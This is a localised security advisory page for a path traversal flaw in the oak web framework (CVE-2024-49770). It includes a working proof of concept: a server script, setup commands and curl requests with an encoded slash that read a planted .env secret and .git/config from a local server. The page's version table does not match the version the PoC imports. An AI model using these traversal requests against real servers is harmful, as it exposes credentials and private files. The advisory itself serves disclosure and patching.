Path traversal in oak allows transfer of hidden files within the served root directory
Summary
By default oak does not allow transferring of hidden files with Context.send API. However, this can be bypassed by
encoding / as its URL encoded form %2F.
Details
1.) Oak uses decodeComponent which seems to be unexpected. This is also the reason why it is not possible to access a file that contains URL encoded characters unless the client URL encodes it first.
2.) The function isHidden is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from subdir/.env.
PoC
// server.ts
import { Application } from "jsr:@oak/oak@17.1.2";
const app = new Application();
app.use(async (context, next) => {
try {
await context.send({
root: './root',
hidden: false, // default
});
} catch {
await next();
}
});
await app.listen({ port: 8000 });
In terminal:
# setup root directory
mkdir root/.git
echo SECRET_KEY=oops > root/.env
echo oops > root/.git/config
# start server
deno run -A server.ts
# in another terminal
curl -D- http://127.0.0.1:8000/poc%2f../.env
curl -D- http://127.0.0.1:8000/poc%2f../.git/config
Impact
For an attacker this has potential to read sensitive user data or to gain access to server secrets.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | @oakserver/oak | <= 14.1.0 | sin corrección |
Referencias
- https://github.com/oakserver/oak/security/advisories/GHSA-qm92-93fv-vh7m
- https://nvd.nist.gov/vuln/detail/CVE-2024-49770
- https://github.com/oakserver/oak/commit/4b2f27efd5cba5a45b2c3982e610da3af0869209
- https://github.com/oakserver/oak
- https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125
- https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N- Debilidad (CWE)
CWE-22, CWE-35- Plataforma
- npm
- Paquete
@oakserver/oak- Publicada
- 01.11.2024
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-qm92-93fv-vh7m - CC BY 4.0
Historial de vulnerabilidades: @oakserver/oak
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 2
- Primera → última
- 11.2024 08.2025
- Sin corrección
- 2
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 1
- Media 1
Divulgaciones por año
- 2024: 1
- 2025: 1
- 2026: 0
-
Path traversal in oak allows transfer of hidden files within the served root directory esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.